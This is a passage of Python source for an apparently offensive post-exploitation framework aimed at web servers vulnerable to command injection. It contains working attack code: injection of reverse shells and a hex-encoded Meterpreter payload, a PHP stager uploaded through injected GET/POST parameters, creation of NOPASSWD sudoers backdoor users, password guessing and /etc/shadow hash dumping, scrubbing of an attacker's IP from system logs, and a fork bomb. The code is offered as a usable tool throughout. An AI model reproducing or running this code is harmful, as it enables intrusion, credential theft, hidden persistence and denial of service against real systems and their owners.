"Gathers user history", "validation" : "gather\/user_history", "help" : "", "run" : MandoCommand.mc_gather_user_history, "platform" : [Utility.os.LINUX], }, "gather/system_info": { "description" : "Gathers system information", "validation" : "gather\/system_info", "help" : "", "run" : MandoCommand.mc_gather_system_info, "platform" : [Utility.os.LINUX], }, "gather/configs": { "description" : "Gathers system configurations", "validation" : "gather\/configs", "help" : "", "run" : MandoCommand.mc_gather_configs, "platform" : [Utility.os.LINUX], }, "core/pwd": { "description" : "Print working directory", "validation" : "core/pwd", "help" : "", "run" : MandoCommand.mc_pwd, "platform" : [Utility.os.LINUX, Utility.os.WINDOWS], }, "core/ls": { "description" : "List directory content", "validation" : "core/ls", "help" : "", "run" : MandoCommand.mc_ls, "platform" : [Utility.os.LINUX, Utility.os.WINDOWS], }, "?": { "description" : "Shows command help", "validation" : r"\?(\s+([^\s]+))?", "help" : "? ", "run" : None, "platform" : [Utility.os.LINUX, Utility.os.WINDOWS], } } return MandoCommand.command_definition @staticmethod def commands(): return [key for key in MandoCommand.definition().keys() if _gs["system"] in MandoCommand.definition()[key]["platform"]] @staticmethod def get(key): return MandoCommand.definition()[key] @staticmethod def command(x): if (not x == None): command_name = x.split(" ")[0] function = MandoCommand.get(command_name) if command_name in MandoCommand.commands() else None if function <> None: if hasattr(function["run"], "__call__") and re.compile(function["validation"]).match(x): function["run"](re.compile(function["validation"]).match(x)) else: Print.text() match = re.compile(function["validation"]).match(x) if match and match.group(1) <> None and match.group(1).strip() in MandoCommand.commands(): for x in MandoCommand.get(match.group(1).strip())["help"].split("\n"): Print.text(x) else: Print.table( caption = "CORE COMMANDS", headers = ["Command", "Description"], rows = list([{ 0 : cmd, 1 : MandoCommand.get(cmd)["description"], } for cmd in sorted(MandoCommand.commands())]) ) Print.text() return True else: return False class SessionManager(object): global _gs nextID = 0 @staticmethod def init(): if not "_sessions" in _gs.keys(): _gs["_sessions"] = {} @staticmethod def register(record, name): SessionManager.init() record.id = SessionManager.nextID SessionManager.nextID += 1 _gs["_sessions"][record.id] = { "name" : name, "record" : record } return _gs["_sessions"][record.id]["record"] @staticmethod def unregister(id): SessionManager.init() if id in _gs["_sessions"].keys(): session = _gs["_sessions"][id]["record"] while len(session.pids) > 0: pid = str(session.pids.pop(0)) Print.status("Killing process " + pid) PHPInteractor.command("kill " + pid) del _gs["_sessions"][id] @staticmethod def select(id = None): SessionManager.init() if id <> None and id in _gs["_sessions"].keys(): return _gs["_sessions"][id]["record"] else: Print.table( caption = "SESSIONS", headers = ["id", "name", "user", "connection"], rows = list([{ 0:id, 1:_gs["_sessions"][id]["name"], 2:_gs["_sessions"][id]["record"].whoami() if hasattr(_gs["_sessions"][id]["record"], "whoami") else "", 3:_gs["_sessions"][id]["record"].connection_info if hasattr(_gs["_sessions"][id]["record"], "connection_info") else "", } for id in _gs["_sessions"].keys()]) ) class Shell(object): global _gs def __init__(self, lhost, lport): self.system = Utility.os.UNDEFINED self.interact_state = enum(UNDEFINED = 0, CONTINUE = 1, BREAK = 2) self.rc_password = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(8)) self.id = -1 self.pids = [] self.option_values = {} self.selected_command = None self.tty = False self.connection_info = "no connection" self.lhost = lhost self.lport = lport def send(self, input = None): if self.connection <> None: if input <> None: self.connection.send(input + "\r") time.sleep(0.5) result = self.connection.recv(16834).split("\n") return "\n".join(result[1:-1]).strip() else: self.connection.send("\r") time.sleep(1) self.connection.recv(16834) else: Print.error("Connection is closed") return "" def open(self): def bind(retries = 5): try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.bind((self.lhost, self.lport)) self.socket.listen(1) Print.success("Socket listening on port {0}".format(self.socket.getsockname()[1])) except socket.error as err: Print.error("Socket binding error: " + str(err[0])) if retries > 0: Print.status("Retrying {0}...".format(retries)) return socketBind(retries - 1) return None def accept(): if self.socket == None: return try: self.connection, self.address = self.socket.accept() time.sleep(0.2) # Wait self.connection.recv(16834) # Clear buffer self.connection_info = "{0}:{1} -> {2}:{3}".format(self.address[0], self.address[1], self.socket.getsockname()[0], self.socket.getsockname()[1]) Print.success("Session opened from {0}:{1} to {2}:{3}".format(self.address[0], self.address[1], self.socket.getsockname()[0], self.socket.getsockname()[1])) except socket.error as err: Print.error("Socket accepting error: " + str(err[0])) def sendPayload(shell, lhost, lport): #if not "session_injections" in _gs.keys(): # _gs["session_injections"] = [] time.sleep(1) for payload in _gs["reverse_shells"]: pid = PHPInteractor.command(payload.format(lhost, lport) + " & echo $!").strip() if PHPInteractor.command("ps --pid " + pid + " -o comm=") <> "": shell.pids.append(int(pid)) break def spawnTTY(): spawners = [ "python -c 'import pty; pty.spawn(\"/bin/sh\")'", "/bin/sh -i", "perl -e 'exec \"/bin/sh\";'", ##"perl: exec \"/bin/sh\";", ##"ruby: exec \"/bin/sh\"", ##"lua: os.execute('/bin/sh')" ] Print.status("Trying to spawn tty") for spawner in spawners: ''' ## TODO :: FIND A WAY TO GET PID ## Try to spawn tty result = send(connection, spawner + " & echo $? $!").strip().split(" ") ## Check for success if len(result) == 2 and result[0] == "0": _gs["session_injections"].append(int(result[1])) Print.success("Successfully spawned tty" return True ''' ## Try to spawn tty self.send(spawner) ## Check for success if (self.send("echo $?") == "0"): Print.success("Successfully spawned tty") self.tty = True return Print.error("Failed to spawn any tty") self.tty = False try: bind() threading.Thread(target = sendPayload, args = (self, self.lhost, self.socket.getsockname()[1])).start() accept() spawnTTY() Print.text() except: test = "do_something" def whoami(self): return self.send("whoami") def interact(self): self.system = Utility.get_os(self.send) class RunCommands(object): @staticmethod def rc_external_shell(command): # ADD PAYLOADS AS FOR METERPRETER # >> TODO:: SOCAT INJECTION: # LISTENER socat -,raw,echo=0 tcp-listen:4545 # PAYLOAD ./socat tcp:10.0.2.238:4545 exec:"bash -li",pty,stderr,setsid,sigint,sane valid, local_options = RunCommands.validate(command) if valid: for payload in _gs["reverse_shells"]: pid = self.send(payload.format(local_options["LHOST"], local_options["LPORT"]) + " & echo $!").strip() if self.send("ps --pid " + pid + " -o comm=").split("\n")[0].strip() <> "": Print.success("Successfully spawned reverse shell") return Print.error("Failed to spawn reverse shell") @staticmethod def rc_external_meterpreter(command): _payloads = { "php/meterpreter/reverse_tcp": "9f8cff7e21c4...", "linux/x86/meterpreter/reverse_tcp": "9f8cff7e21c4...", "python/meterpreter/reverse_tcp": "707974686f6e202d6320276578656328223639364437303646373237343230373336463633364236353734324337333734373237353633373430413733334437333646363336423635373432453733364636333642363537343238333232433733364636333642363537343245353334463433344235463533353435323435343134443239304137333245363336463645364536353633373432383238323733313330324533303245333232453332333333383237324333343334333433343239323930413643334437333734373237353633373432453735364537303631363336423238323733453439323732433733324537323635363337363238333432393239354233303544304136343344373332453732363536333736323836433239304137373638363936433635323036433635364532383634323933433643334130413039363432423344373332453732363536333736323836433244364336353645323836343239323930413635373836353633323836343243374232373733323733413733374432393041222e6465636f6465282268657822292e7265706c61636528225f5f4c484f53545f5f222c2022{0}22292e7265706c61636528225f5f4c504f52545f5f222c2022{1}22292927" } valid, local_options = validate_rc(command) if valid: try: payload = _payloads[local_options["PAYLOAD"]].format(local_options["LHOST"].encode("hex"), local_options["LPORT"].encode("hex")).decode("hex") pid = self.send(payload + " & echo $!") pid = int(str(pid.split("\n")[1]).strip()) + 1 if self.send("ps --pid " + str(pid) + " -o comm=").split("\n")[0].strip() <> "": Print.success("Successfully spawned meterpreter shell") else: Print.error("Failed to spawn meterpreter shell") except: Print.success("Could not determine status of execution") @staticmethod def rc_run_as(command): valid, local_options = validate_rc(command) if valid: if not self.tty: Print.error("This command needs tty") else: Print.status("Trying to spawn " + local_options["USERNAME"]) self.send("su " + local_options["USERNAME"]) self.send(local_options["PASSWORD"]) self.send("") if self.send("whoami") == local_options["USERNAME"]: Print.success("Successfully spawned " + local_options["USERNAME"]) else: self.send("su " + local_options["USERNAME"]) self.send("") if self.send("whoami") == local_options["USERNAME"]: Print.success("Successfully spawned " + local_options["USERNAME"] + " \033[94mwithout password\033[0m") else: Print.error("Failed to spawn " + local_options["USERNAME"]) @staticmethod def rc_cred_root(command): valid, local_options = validate_rc(command) if valid: if not self.tty: Print.error("This command needs tty") else: Print.status("Trying to spawn " + local_options["USERNAME"]) self.send("su " + local_options["USERNAME"]) self.send(local_options["PASSWORD"]) self.send("") if self.send("whoami") == local_options["USERNAME"]: Print.success("Successfully spawned " + local_options["USERNAME"]) Print.status("Trying to spawn root") self.send("sudo -i") self.send(local_options["PASSWORD"]) self.send("") else: Print.error("Failed to spawn " + local_options["USERNAME"]) if self.send("whoami") == "root": Print.success("Successfully spawned root") else: Print.error("Failed to spawn root") @staticmethod def rc_create_user(command, sudo = False): valid, local_options = validate_rc(command) if valid: if not self.tty: Print.error("This command needs tty") else: Print.status("Trying to create user " + local_options["USERNAME"]) self.send(("sudo " if sudo else "") + "useradd " + local_options["USERNAME"]) self.send(("sudo " if sudo else "") + "passwd " + local_options["USERNAME"]) self.send(local_options["PASSWORD"]) self.send(local_options["PASSWORD"]) self.send("") if self.send("grep -c '^" + local_options["USERNAME"] + ":' /etc/passwd").strip() == "1": Print.success("Successfully created " + local_options["USERNAME"]) Print.status("Trying add " + local_options["USERNAME"] + " to sudo") self.send(("sudo " if sudo else "") + "adduser " + local_options["USERNAME"] + " sudo") self.send(("sudo " if sudo else "") + "echo '" + local_options["USERNAME"] + " ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers") if self.send("sudo -u " + local_options["USERNAME"] + " whoami").strip() == local_options["USERNAME"]: Print.success("Successfully created sudo user " + local_options["USERNAME"]) else: Print.error("Failed to created sudo user " + local_options["USERNAME"]) else: if not sudo: Print.status("Trying with sudo") RunCommands.rc_create_user(command, True) else: Print.error("Failed to create user " + local_options["USERNAME"]) @staticmethod def rc_enable_sudo(command): valid, local_options = validate_rc(command) if valid: if not self.tty: Print.error("This command needs tty") else: if self.send("grep -c '^" + local_options["USERNAME"] + ":' /etc/passwd").strip() == "1": Print.status("Trying add " + local_options["USERNAME"] + " to sudo") sudo = (True if self.send("whoami") <> "root" else False) self.send(("sudo " if sudo else "") + "adduser " + local_options["USERNAME"] + " sudo") self.send(("sudo " if sudo else "") + "echo '" + local_options["USERNAME"] + " ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers") if self.send("sudo -u " + local_options["USERNAME"] + " whoami").strip() == local_options["USERNAME"]: Print.success("Successfully enabled sudo for user " + local_options["USERNAME"]) else: Print.error("Failed to enable sudo for user " + local_options["USERNAME"]) else: Print.error("User '" + local_options["USERNAME"] + "' does not exist") @staticmethod def rc_log_cleaner(command): valid, local_options = validate_rc(command) if valid: target = local_options["TARGET"] replacement = (".".join([str(random.randint(1,254)) for x in range(4)]) if re.match(r"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})$", target) else "".join(random.choice("abcdefghijklmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789") for x in range(8)) + random.choice([".aero",".arpa",".asia",".biz",".cat",".com",".coop",".edu",".eu",".gov",".info",".int",".jobs",".mil",".mobi",".museum",".name",".net",".org",".post",".pro",".tel",".travel",".xxx",".ac",".ad",".ae",".af",".ag",".ai",".al",".am",".an",".ao",".aq",".ar",".as",".at",".au",".aw",".ax",".az",".ba",".bb",".bd",".be",".bf",".bg",".bh",".bi",".bj",".bm",".bn",".bo",".br",".bs",".bt",".bv",".bw",".by",".bz",".ca",".cc",".cd",".cf",".cg",".ch",".ci",".ck",".cl",".cm",".cn",".co",".cr",".cs",".cu",".cv",".cx",".cy",".cz",".dd",".de",".dj",".dk",".dm",".do",".dz",".ec",".ee",".eg",".eh",".er",".es",".et",".eu",".fi",".fj",".fk",".fm",".fo",".fr",".ga",".gb",".gd",".ge",".gf",".gg",".gh",".gi",".gl",".gm",".gn",".gp",".gq",".gr",".gs",".gt",".gu",".gw",".gy",".hk",".hm",".hn",".hr",".ht",".hu",".id",".ie",".il",".im",".in",".io",".iq",".ir",".is",".it",".je",".jm",".jo",".jp",".ke",".kg",".kh",".ki",".km",".kn",".kp",".kr",".kw",".ky",".kz",".la",".lb",".lc",".li",".lk",".lr",".ls",".lt",".lu",".lv",".ly",".ma",".mc",".md",".me",".mg",".mh",".mk",".ml",".mm",".mn",".mo",".mp",".mq",".mr",".ms",".mt",".mu",".mv",".mw",".mx",".my",".mz",".na",".nc",".ne",".nf",".ng",".ni",".nl",".no",".np",".nr",".nu",".nz",".om",".pa",".pe",".pf",".pg",".ph",".pk",".pl",".pm",".pn",".pr",".ps",".pt",".pw",".py",".qa",".re",".ro",".rs",".ru",".rw",".sa",".sb",".sc",".sd",".se",".sg",".sh",".si",".sj",".sk",".sl",".sm",".sn",".so",".sr",".st",".su",".sv",".sy",".sz",".tc",".td",".tf",".tg",".th",".tj",".tk",".tl",".tm",".tn",".to",".tp",".tr",".tt",".tv",".tw",".tz",".ua",".ug",".uk",".um",".us",".uy",".uz",".va",".vc",".ve",".vg",".vi",".vn",".vu",".wf",".ws",".ye",".yt",".yu",".za",".zm",".zr",".zw"])) files = zlib.decompress(base64.b64decode("eNrtWsmO3DYQvQfIp1gydc0H5BLEBnxxTgO1xF4AqdUmpWnN34daySpWFWcS25kAfbGb9Wp9JVIiOflzafKybvOhb2+/5YMNR7qv1l+TVtOdgpEZrsHI20Bs8hfj0+gO4t33eHcQ707YbBHuUYR7lM8IS1qHW36jL3GENY6wkDGuZIRpjbCW0RczwmpGWEBshwsKAjWl7Z0fb7ILpmD7YAvHq28kAEEUZRPcyqrq12FVdcO1D0VTJDgK9Z05HBHOFsmWJPJldDPUOgOFrcIYnAO8BiRdz8VTwKW2PCC6DBS8kM2QdXXuWk5K5jYjsrcoM2DziuhTv5quKptX9erD2DZiE6EC0UhegQ2DGgpBRFwMJt0HShAQMxfdYqoRwubMNZywl23fkBH7AMS9tmV7KKdfmW0PNSW/AnmsGes4nPK4ShfdOXkcHAkpTVabtbCsiaVyv3amX/7NykabHkFYOPUtAnahAIVCQnfJVJRHOe0PBGdHWzDZQmyT+kdLgPaaYogIFD+toq2gsE1CBn4NRHe5dO/Gsy7ycqgv/ROYQAukeChEZk43Z7MKiSkBI6Fz399YoMbIlt9sxcjrEJh4okJs8poCFmI5M48KxnTFGC9SCooi4H6/U2Iq301OEknn6JGCh6K8TNf1eXYo7fnpfLF9Z142GRqGCkjfqwIt97mKNWdRJNhH4TOHLAHEApRUCa4U60vRzgrBWcE6K7CzpbWUqxXh5FB45LwcaSdH6CNaaqpKW0stKCGWKREtYlQb0xna7Q5RXj1IOLW2eZIShjjlHmkwMYTkJ9job4O2Pa0ggALZItci1TzTEtESzwmaZYZSBEn8KIEgxdepEgkrOWOVSlnFOe+rOgq6yVGwTUzlGWKCGZtCBHAzm5mZ0twS5oQ4H8i5ANbGMBIAgjBAjtOLQMmQzyOmVR/ozq5y3KJVTHY2wAQzNgWGVqaxdF+FtvJdlZrK9pRrKdNRqaFCP8V2cowphjJFc6YE0hTPmpJoUyxviiNOMcwpiTolcKdE8lCG82FcnEcoxmlgTDBjQ0UA/MBGLiFI5RNrJF0kUmBSL2iWCoGlgmepkFgqZJYKiaUiyVKRYqlIs1RwLNEkCRzxFEkMyQRJ/CTpSbGTJodLbt0Ok7EXjM9twcm0vGkCjheGOKNATC5CUR7IAC+cdZt/+evLH59+92M7AHigbnTo6x76rsTVqs21bPVStb11XZM38+Y70HXjW/3BpWdXci6HvDLdNcdHyZcrezPihjVIaMJcPZTd14+tPVk/rozb0OXPbdUZjaXD9TKyESEFMP43qIqYdb6nTkWyg9v6A6HnwV8HTr+srgZz6V/gJdQuPZaXRtdz6SH1rXvKBjdNXiwI0roHqTxpG7I35RsJ2Hqeu6aGJ//i4yE+WPMXoL3dbugUO0h6Gn/+9BnuF4b+HAlUxj0xy1No3f/WrQs1Fv6pkd46Q1dK4ONpy2P+BEa39RSTKvlH3OR+xxvbf3sRm75uTd2vkjeo//H96ONG9HH7+INvH/8HN3rv7QbtVddRYmbf69bnzfct7/V+4nFG/TijfpxRP86of/4Z9eME+K0nwO/5lHWdIvvH2PoOD7ahi6R1O1U/oXSrzQl9RX7tzCn7mCVuz2eZ0+mGnv7zAkuL8RvUYgG1TfN6sET/J7TxH+9G2xu8oYW78OCjgVi4QiQjEGIxC4DsH77pM/51nclvcmqHOnMwHVhoPx6P2kSbeOi7uZzWD6H1R0YkECvhCmBD18XScgu2jRjYAXpNtjwt6bd8Jr6saQTavAxttp8K7d+NsDwSIq2C0BQy2fz6y9/ITFLe")).split(";") last_step = 0 counter = 0; progress_length = 64 os.system("setterm -cursor off") for file in files: counter += 1 output = " " + str(counter) + " of " + str(len(files)) sys.stdout.write("\b" * last_step) sys.stdout.write(output) sys.stdout.flush() last_step = len(output) if self.send("[ -f " + file + " ] && echo 'found' || echo 'not found'") == "found": if self.send("[ -w " + file + " ] && echo 'granted' || 'denied'") == "granted": if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") == "ok": sys.stdout.write("\b" * last_step) sys.stdout.flush() last_step = 0 Print.info("Found target in file " + file) self.send("sed -ie 's/" + target + "/" + replacement + "/g' " + file) if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") == "ok": tmp = "/tmp/" + "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) self.send("sed -e 's/" + target + "/" + replacement + "/g' " + file + " > " + tmp + "; mv -f " + tmp + " " + file) if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") <> "ok": Print.success(file + " is clean") else: Print.error("Failed to clean " + file) else: sys.stdout.write("\b" * last_step) sys.stdout.flush() last_step = 0 Print.error("Couldn't access " + file) sys.stdout.write("\b" * last_step) sys.stdout.flush() last_step = 0 os.system("setterm -cursor on") Print.success("Scan complete!") @staticmethod def rc_cred_crack(command): valid, local_options = validate_rc(command) if valid: if not self.tty: Print.error("This command needs tty") else: Print.status("Gathering users") users = sorted(self.send("/bin/cat /etc/passwd | cut -d : -f 1").strip().split("\n")) Print.info("Found " + str(len(users)) + " users:") for i in range(0, len(users)): Print.text("[" + str(i) + "] " + users[i]) selection = raw_input(" User(s), separate index with comma: ") passwords = [ lambda x: x, lambda x: x[::-1], "password", "pass", "123" ] for userIndex in selection.strip().split(","): if re.match(r"[-+]?\d+$", userIndex) is not None: index = int(userIndex) if index >= 0 and index < len(users): user = users[index].strip() Print.status("Cracking user '" + user + "'") for _password in passwords: password = (_password(user) if hasattr(_password, "__call__") else _password).strip() self.send("su -c whoami " + user) if user in self.send(password).strip().split("\n"): Print.success("Found credentials " + user + ":" + password) break @staticmethod def rc_hash_dump(command): valid, local_options = validate_rc(command) if valid: if not self.tty: Print.error("This command needs tty") else: sudo = (True if self.send("whoami") <> "root" else False) if ((sudo and self.send("sudo -u root whoami") == "root") or (not sudo)): dump = "" Print.status("Trying to read /etc/passwd") passwd = self.send((("sudo " if sudo else "") + "cat /etc/passwd")).split("\n") Print.status("Trying to read /etc/shadow") shadow = self.send((("sudo " if sudo else "") + "cat /etc/shadow")).split("\n") for shadow_line in shadow: match = re.compile(r"(^\w*):([^:]*)").match(shadow_line) if match: username = match.group(1) password = match.group(2) if not re.compile(r"^\*|^!$").match(password): for passwd_line in passwd: if re.compile(r"^" + username + ":").match(passwd_line): dump += passwd_line.replace(":x:", ":" + password + ":") + "\n" if len(dump.split("\n")) > 1: Print.success("Successfully dumped hashes") Utility.save_loot("unshadowed", "\n".join(dump.split("\n")[:-1])) else: Print.error("Failed to impersonate root") Print.info("This command needs root privilage") @staticmethod def rc_forkbomb(command): valid, local_options = validate_rc(command) if valid and local_options["RC_PASSWORD"] == self.rc_password: try: for i in range(0, 5): self.send("f(){ f|f& };f") time.sleep(1) if self.send("echo online") == "online": Print.status("Online... " + str(5 - i)) else: Print.success("System is unresponsive!") return Print.error("Forkbomb seem to have failed!") except: Print.status("Could not determine status of execution") ##Print.success("System is unresponsive!" ## Next the session will be terminated due to connection failure else: Print.info("The Run Command password is '" + self.rc_password + "'") @staticmethod def definition(): if not hasattr(RunCommands, "command_definition"): RunCommands.command_definition = { "external/shell" : { "name" : "External Shell Injection", "description" : "Injects a reverse shell payload for an external listener. Remember to initialize an open listener for the shell 'netcat -lvp '.", "options" : { "LHOST" : { "required" : True, "description" : "The local host of the listener", "validation" : "\S+" }, "LPORT": { "required" : True, "description" : "The local port of the listener", "validation" : "\d+" }, "PAYLOAD": { "required" : True, "description" : "The type of shell payload to inject", "list" : [ "netcat", "socat" ] }, }, "run" : RunCommands.rc_external_shell }, "external/meterpreter" : { "name" : "External Meterpreter Injection", "description" : "Injects a meterpreter payload for an external listener. Remember to initialize an open listener for the correct payload you are using.", "options" : { "LHOST" : { "required" : True, "description" : "The local host of the listener", "validation" : "\S+" }, "LPORT": { "required" : True, "description" : "The local port of the listener", "validation" : "\d+" }, "PAYLOAD": { "required" : True, "description" : "The type of meterpreter payload to inject", "list" : [ "php/meterpreter/reverse_tcp", "linux/x86/meterpreter/reverse_tcp", "python/meterpreter/reverse_tcp" ] }, }, "run" : RunCommands.rc_external_meterpreter }, "run_as" : { "name" : "Run As", "description" : "Tries to spawn a shell from given credentials.", "options" : { "USERNAME" : { "required" : True, "description" : "Username of credentials", "validation" : "\S+" }, "PASSWORD": { "required" : True, "description" : "Password of credentials", "validation" : "\S+" }, }, "run" : RunCommands.rc_run_as }, "cred_root" : { "name" : "Credential To Root", "description" : "Tries to spawn a root shell from given credentials.", "options" : { "USERNAME" : { "required" : True, "description" : "Username of credentials", "validation" : "\S+" }, "PASSWORD": { "required" : True, "description" : "Password of credentials", "validation" : "\S+" }, }, "run" : RunCommands.rc_cred_root }, "create_user" : { "name" : "Create User", "description" : "Tries to create a user and add it to sudoers.", "options" : { "USERNAME" : { "required" : True, "description" : "Username of credentials", "validation" : "\S+" }, "PASSWORD": { "required" : True, "description" : "Password of credentials", "validation" : "\S+" }, }, "run" : RunCommands.rc_create_user }, "enable_sudo" : { "name" : "Enable Sudo", "description" : "Tries to add user to sudoers by given username.", "options" : { "USERNAME" : { "required" : True, "description" : "Username to sudofy", "validation" : "\S+" }, }, "run" : RunCommands.rc_enable_sudo }, "log_cleaner" : { "name" : "Log Cleaner", "description" : "Iterates through log files and replaces a host (ip or hostname).", "options" : { "TARGET" : { "required" : True, "description" : "Host to replace (ip or hostname)", "validation" : "^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})|(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$" } }, "run" : RunCommands.rc_log_cleaner }, "cred_crack" : { "name" : "Credential Cracker", "description" : "Tries to crack credentials", "options" : { }, "run" : RunCommands.rc_cred_crack }, "hash_dump" : { "name" : "Password Hash Dump", "description" : "Tries to dump an unshadowed password dump.", "options" : { }, "run" : RunCommands.rc_hash_dump }, "forkbomb" : { "name" : "Fork Bomb Injection", "description" : "Injects a fork bomb to as a DoS-attack.", "options" : { "RC_PASSWORD" : { "required" : True, "description" : "Run Command password", "validation" : "\S+" } }, "run" : RunCommands.rc_forkbomb } } return RunCommands.command_definition @staticmethod def commands(): return RunCommands.definition().keys() @staticmethod def get(key = None): return RunCommands.definition()[key if key <> None else self.selected_command] @staticmethod def get_options(): if RunCommands.is_selected(): return RunCommands.get()["options"] else: return {} @staticmethod def is_selected(): return True if self.selected_command <> None and self.selected_command in RunCommands.commands() else False @staticmethod def validate(command): local_options = {} options = command["options"]; for o in options.keys(): option = options[o] option_valid = True try: if o in self.option_values: if "validation" in option.keys(): option_valid = re.compile(option["validation"]).match(self.option_values[o]) elif "list" in option.keys(): option_valid = self.option_values[o] in option["list"] except: option_valid = False if not option_valid and option["required"]: Print.error("The option " + o + " is required but missing or in violation") return False, local_options else: local_options[o] = self.option_values[o] return True, local_options class ShellCommands(object): @staticmethod def sc_use(match): if match: if match.group(1) in RunCommands.commands(): self.selected_command = match.group(1) else: Print.error("The selected command does not exist") else: self.selected_command = None print " Select one of the following commands:" print " -> " + "\n -> ".join(sorted(RunCommands.commands())) @staticmethod def sc_set(match): if match: self.option_values[match.group(1).upper()] = match.group(2) print " " + match.group(1).upper() + " => " + match.group(2) else: Print.error("A name and a value must be defined") @staticmethod def sc_options(match): if RunCommands.is_selected(): command = RunCommands.get() options = RunCommands.get_options() Print.table( caption = command["name"], headers = ["Name", "Current Setting", "Required", "Description"], description = command["description"], rows = list([{ 0 : option, 1 : self.option_values[option] if option in self.option_values.keys() else "", 2 : ("yes" if options[option]["required"] else "no"), 3 : options[option]["description"], "list" : { "index": 3, "array": options[option]["list"] } if "list" in options[option].keys() else None } for option in options.keys()]) ) else: Print.error("There is no command selected") Print.text() @staticmethod def sc_run(match): if RunCommands.is_selected(): Print.status("Executing command '" + self.selected_command + "'") ## Clear buffer self.send("") command = RunCommands.get() if command["run"] <> None: command["run"](command) else: Print.error("There is no command selected") @staticmethod def definition(): if not hasattr(ShellCommands, "command_definition"): ShellCommands.command_definition = { "use": { "description": "selects run command. Using this command without argument shows available commands, and deselects any command", "validation": r"use\s+([^\s]+)", "run": ShellCommands.sc_use, "state": self.interact_state.CONTINUE }, "set": { "description": "sets values of this shell session.", "validation": r"set\s+([^\s]+)\s+([^\s]+)", "run": ShellCommands.sc_set, "state": self.interact_state.CONTINUE }, "options": { "description": "Shows options in context of selected command", "validation": r"options", "run": ShellCommands.sc_options, "state": self.interact_state.CONTINUE }, "run": { "description": "Executes selected command", "validation": r"run", "run": ShellCommands.sc_run, "state": self.interact_state.CONTINUE }, "exit": { "description": "Abort shell", "validation": r"exit", "run": None, "state": self.interact_state.BREAK }, "background": { "description": "Background shell", "validation": r"background", "run": None, "state": self.interact_state.BREAK }, "clear": { "description": "Clear screen", "validation": r"clear", "run": None, "state": self.interact_state.CONTINUE } } return ShellCommands.command_definition @staticmethod def commands(): return ShellCommands.definition().keys() @staticmethod def get(key): return ShellCommands.definition()[key] def sc_complete(text, state): paths = [] for sc in ShellCommands.commands(): paths.append(sc) if sc.startswith(text.split(" ")[0]) and text.split(" ")[0] == sc: if sc == "use": for rc in RunCommands.commands(): paths.append(sc + " " + rc) elif sc == "set" and RunCommands.is_selected(): for option in RunCommands.get_options(): paths.append(sc + " " + option + " ") for path in paths: if path.lower().startswith(text.lower()): if not state: return path else: state -= 1 ## Define autocomplete readline.parse_and_bind("tab: complete") readline.set_completer(sc_complete) readline.set_completer_delims("") while True: try: _input = raw_input("\033[4mShell\033[0m" + ("(\033[94mtty\033[0m)" if self.tty else "") + (" use(\033[91m" + self.selected_command + "\033[0m)" if self.selected_command else "") + " > ") _input_command = _input.split(" ")[0] if _input_command == "exit": self.close(); if _input_command == "clear": import subprocess as sp; sp.call("clear", shell = True); # ADD '?' ## Check if command if _input_command in ShellCommands.commands(): if not _input_command == "use": print "" command = ShellCommands.get(_input_command) if command["run"] <> None: command["run"](re.compile(command["validation"]).match(_input)) if command["state"] == self.interact_state.BREAK: break if command["state"] == self.interact_state.CONTINUE: continue else: #Print.text(self.send(_input)) for x in self.send(_input).strip().split("\n"): Print.text(x) print "" except: self.close() def close(self): self.connection.close() self.socket.close() if self.id >= 0: SessionManager.unregister(self.id) Print.warning("Socket closed by user") class CommandInjector(object): @staticmethod def init(): global _gs import subprocess as sp sp.call("clear",shell=True) for key in _gs["payloads"].keys(): _gs["payloads"][key]["path"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(32)) + ".php" CommandInjector.exploit() _gs["_is_sudo"] = PHPInteractor.sudo_command("sudo whoami").strip() == "root" ## Create directories _gs["dir_loot"] = _gs["dir_loot"].format(re.compile(r"^(http|https):\/\/([^\/]+)").match(_gs["url"]).group(2), time.strftime("%Y%m%d%H%M%S")) if not os.path.exists(_gs["dir_loot"]): os.makedirs(_gs["dir_loot"]) @staticmethod def exploit(): global _gs _gs["url_stager"] = None _placeholder = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(32)) def stager_upload(url, stream, path): tl = 0 counter = 1 chunk_size = _gs["chunk_size"] chunk_count = math.ceil((len(stream) / 2) / chunk_size) try: while True: chunk = stream[(chunk_size * 2 * (counter - 1)):][:chunk_size * 2] if chunk: if _gs["system"] == Utility.os.LINUX: chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus("echo -n -e '" + chunk + "' >> " + path))).read() elif _gs["system"] == Utility.os.WINDOWS: urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus("> " + path))).read() tl = Print.status("Sending stage: {:.0%}".format((counter - 1) / chunk_count), True) Print.text(("\b" * tl), True) counter += 1 else: break Print.text((tl - Print.success("Payload injected through stager", True)) * " ") except: Print.text((tl - Print.error("Failed to inject payload", True)) * " ") finally: urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus("rm " + _gs["payloads"]["stager"]["path"]))).read() Print.success("Stager removed") def technique_result_based(): Print.status("METHOD: Result based injection") for special in ["& ", "; ", "| ", "&;& "]: def interactor(command, internal = False): import difflib url = _gs["url"] if _gs["get"] <> None: url = url + "?" + urllib.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))) if _gs["post"] <> None: request = urllib2.Request(url, urllib.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + 